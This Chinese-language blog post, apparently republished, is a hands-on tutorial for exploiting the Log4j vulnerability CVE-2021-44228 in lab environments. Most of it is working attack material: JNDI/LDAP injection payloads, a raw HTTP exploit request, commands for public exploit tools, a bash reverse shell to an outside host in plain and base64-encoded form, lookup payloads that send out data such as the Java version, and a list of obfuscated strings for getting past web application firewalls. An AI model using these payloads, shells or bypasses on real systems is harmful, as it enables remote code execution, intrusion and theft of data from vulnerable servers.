暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

最最最详细的log4j-Rce手把手教学

web安全and一只狗 2021-12-16
4237

免责声明

由于传播、利用文章内的相关技术从事非法测试
如因此产生的一切不良后果与文章作者和本公众号无关


前言

CVE-2021-44228  log4j漏洞 已经出现一周了。
为了更全面,更傻瓜式,等大佬们都分析完了,然后我就这里集百家之长。
让各位表哥,一看就会。

漏洞经历

参考官网消息
https://logging.apache.org/log4j/2.x/security.html
https://issues.apache.org/jira/browse/LOG4J2-3201

漏洞过程

1.poc分析

根据网上流传的poc

${jndi:ldap://02c6a45b.dns.1433.eu.org./Exploit}
从payload可以看到用到了JNDI和LDAP
那么JNDL和LDAP分别是什么呢
根据百度百科:
jndi:Java命名和目录的接口

JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、
LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、
CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表
RMI、DSML v1&v2、NIS。

LDAP只是JNDI其中一个服务而已,还有常用的rmi/dns/ldaps  

漏洞复现--多种环境

漏洞测试都是利用dnslog,但是dnslog最近太忙了。

多种dnslog

在线平台

https://log.咕.com
http://dnslog.cn

利用burp-dnslog,不会请移步参考

https://www.cnblogs.com/pangya/p/15688943.html

JNDIMonitor2.0.1(一个LDAP请求监听器,摆脱dnslog平台):
https://github.com/r00tSe7en/JNDIMonitor

本地测试

利用maven创建项目。(不会搭建请移步参考:https://www.cnblogs.com/pangya/p/15675453.html)

poc.xml

   <dependencies>  
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>

log4j.java

package org.example.log_rec;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);

public static void main(String[] args) {

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://02c6a45b.dns.1433.eu.org./Exploit}");
}
}

模拟环境

从T00ls下载的一个测试登陆框。
如果本地搭建出错可以移步参考
(https://www.cnblogs.com/pangya/p/15684035.html)


靶场

Vulfocus 靶场环境---spring的环境
目前 Vulfocus 已经集成 Log4j2 环境,可通过以下链接启动环境测试:
http://vulfocus.fofa.so/#/dashboard?image_id=3b8f15eb-7bd9-49b2-a69e-541f89c4216c

镜像拉取
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -p 127.0.0.1:8080:8080 vulfocus/log4j2-rce-2021-12-09

用法
POST /hello HTTP/1.1
Host: 172.16.13.125:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
payload=${jndi:ldap://40c8f267.dns.1433.eu.org./Exploit}

命令执行

使用JNDIExploit1.3 开启ldap服务。

https://github.com/0x727/JNDIExploit(作者貌似已移除)

用法

java -jar JNDIExploit1.3.jar -i 172.16.13.132

payload=${jndi:ldap://172.16.13.132:1389/TomcatBypass/TomcatEcho}

反弹shell

linux

这里借助了JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

下载地址:
https://github.com/welk1n/JNDI-Injection-Exploit

过程

使用bash进行连接,nc连接

bash -i >& /dev/tcp/172.16.13.132/7314 0>&1

进行编码

https://www.jackson-t.ca/runtime-exec-payloads.html

使用JNDI-Injection进行执行

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTMuMTMyLzczMTQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "172.16.13.132"

上面有三个紫色都为payload,根据不同版本自行选择,这里利用的网上靶场:
payload:rmi://172.16.13.132:1099/m1gepx

成功反弹shell

Windows

同linux一样。windows可以利用powershell上线(手里没有环境,有表哥已经成功)

生成powershell
进行编码
利用JNDI-Injection-Exploit调用

关于数据外带

官网参考文章

https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

log4j2支持的方法

官方参考文章
https://logging.apache.org/log4j/2.x/manual/configuration.html

还支持的有:
base64、bundle、ctx、data、env、jndi、jvmrunargs、log4j、main、map、sd、sys

进行外带数据测试

外带java版本

${jndi:ldap://${sys:java.version}.@.${hostName}.2cqa0a.dnslog.cn}

本地外带数据
${jndi:ldap://host:1389/${java:version}}
echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -vv -l -p 1389 | xxd

其余利用

例如:表哥公众号提到的bundle可以外带spring——boot的properties文件等等

waf绕过

Bypass_RC1

利用空格绕过

${jndi:ldap://02c6a45b.dns.1433.eu.org./ Exploit}

Bypass_waf(网上收集)

一些waf规则

很多厂商在公众号把最初始的waf规则都纰漏了,有了一些bypass

利用lower和upper的特性进行绕过

${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

常见的一些受影响产品

Struts
Tomcat
Solr
Druid
ElasticSearch
Dubbo
Spring-Boot
VMWare
RedHat
Jenkins
Citrix

更多的影响可以参考火线推出的查询平台

https://log4j2.huoxian.cn/layout

最后

实战利用起来还不是这样容易~
欢迎表哥滴滴


文章转载自web安全and一只狗,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论